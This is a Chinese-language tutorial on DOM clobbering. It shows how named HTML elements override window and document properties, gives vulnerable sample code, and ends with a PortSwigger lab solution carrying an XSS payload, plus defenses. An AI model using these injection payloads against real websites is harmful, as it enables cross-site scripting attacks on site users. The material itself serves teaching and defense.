DOM-Clobbering入门到实战
字数 1155 2025-09-23 19:27:38
DOM Clobbering 技术解析与实战指南
1. 基本概念与原理
1.1 DOM 与 Window 的关系
当在 HTML 中设置带有 id 的元素后,可以直接通过 window 对象访问该元素:
<html>
<head></head>
<body>
<button id=Test>click me!</button>
<script>
console.log(window.Test) // 返回按钮元素
</script>
</body>
</html>
1.2 简化事件处理
传统事件监听方式:
document.getElementById("Test")
.addEventListener('click',()=>{
alert(1)
})
DOM Clobbering 简化方式:
Test.onclick=()=>alert(1)
2. 可用的 HTML 标签
根据 HTML 规范,除了 id 属性外,以下标签也可用于 DOM Clobbering:
<embed name="a"></embed><form name="b"></form>- ``
<object name="d"></object>
3. 基础攻击场景分析
3.1 典型漏洞代码
<html>
<body>
<h1>留言板</h1>
<div>你的留言:Hello DOM clobbering</div>
<script>
if (window.TEST_MODE) {
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
3.2 攻击向量
<div>
你的留言:
<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
3.3 重要注意事项
- 普通元素(如 div)的 toString() 返回
[object HTMLDivElement] - 只有
<a>标签配合 href 属性才能返回字符串值 - 使用场景:HTML 可控且 JS 中使用 window 对象属性时
4. 多层级 DOM Clobbering
4.1 使用 form 标签实现层级访问
<form id="config">
<input name="IsTest" />
<button id="IsTest2">click me!</button>
</form>
<script>
console.log(window.config.IsTest) // 访问 input 元素
console.log(window.config.IsTest2) // 访问 button 元素
</script>
4.2 利用 HTMLCollection 特性
<a id="config">aaaa</a>
<a id="config"></a>
<script>
console.log(window.config) // 返回 HTMLCollection (Chrome)
</script>
4.3 三层结构实现
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) // 输出 "123"
</script>
4.4 使用 iframe 实现更深层级
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // 返回 iframe 中的元素
}, 500)
</script>
</body>
</html>
5. 针对 Document 对象的攻击
5.1 覆盖 document 属性
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<form id=test>
<input name=lastElementChild>
<div>I am last child</div>
</form>
<embed name=getElementById></embed>
<script>
console.log(document.cookie) // 返回 元素而非真实 cookie
console.log(document.querySelector('#test').lastElementChild) // 返回 input 元素
console.log(document.getElementById) // 返回 embed 元素
</script>
</body>
</html>
6. 实战案例:PortSwigger 实验室
6.1 漏洞分析
- 留言板允许 HTML 格式输入
- 存在自定义的 escapeHTML 函数转义特殊字符
- 关键漏洞代码:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '';
6.2 绕过限制技巧
- 使用
<a>标签的 href 属性提供字符串值 - 利用 tel: 协议绕过过滤
- 通过注释符解决引号闭合问题
6.3 最终攻击载荷
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>
7. 防御措施
- 避免全局命名空间污染:不直接使用 window 对象属性进行关键操作
- 严格验证用户输入:对用户提供的 HTML 内容进行严格过滤
- 使用前缀或命名空间:为关键变量添加特定前缀避免冲突
- 类型检查:在使用前验证变量类型是否符合预期
- 内容安全策略:实施 CSP 限制脚本执行
8. 工具资源
- DOM Clobber3r:专门用于生成多层级 DOM Clobbering 载荷的工具
- 浏览器开发者工具:用于调试和测试 DOM 结构
9. 浏览器兼容性说明
- Firefox 与 Chrome 在 HTMLCollection 处理上存在差异
- iframe 加载需要时间,需使用 setTimeout 确保元素可用
- 部分标签在不同浏览器中的行为可能略有不同
通过深入理解 DOM Clobbering 原理和技术细节,安全研究人员可以更好地识别和防御这类漏洞,同时开发人员可以编写更安全的代码避免此类问题。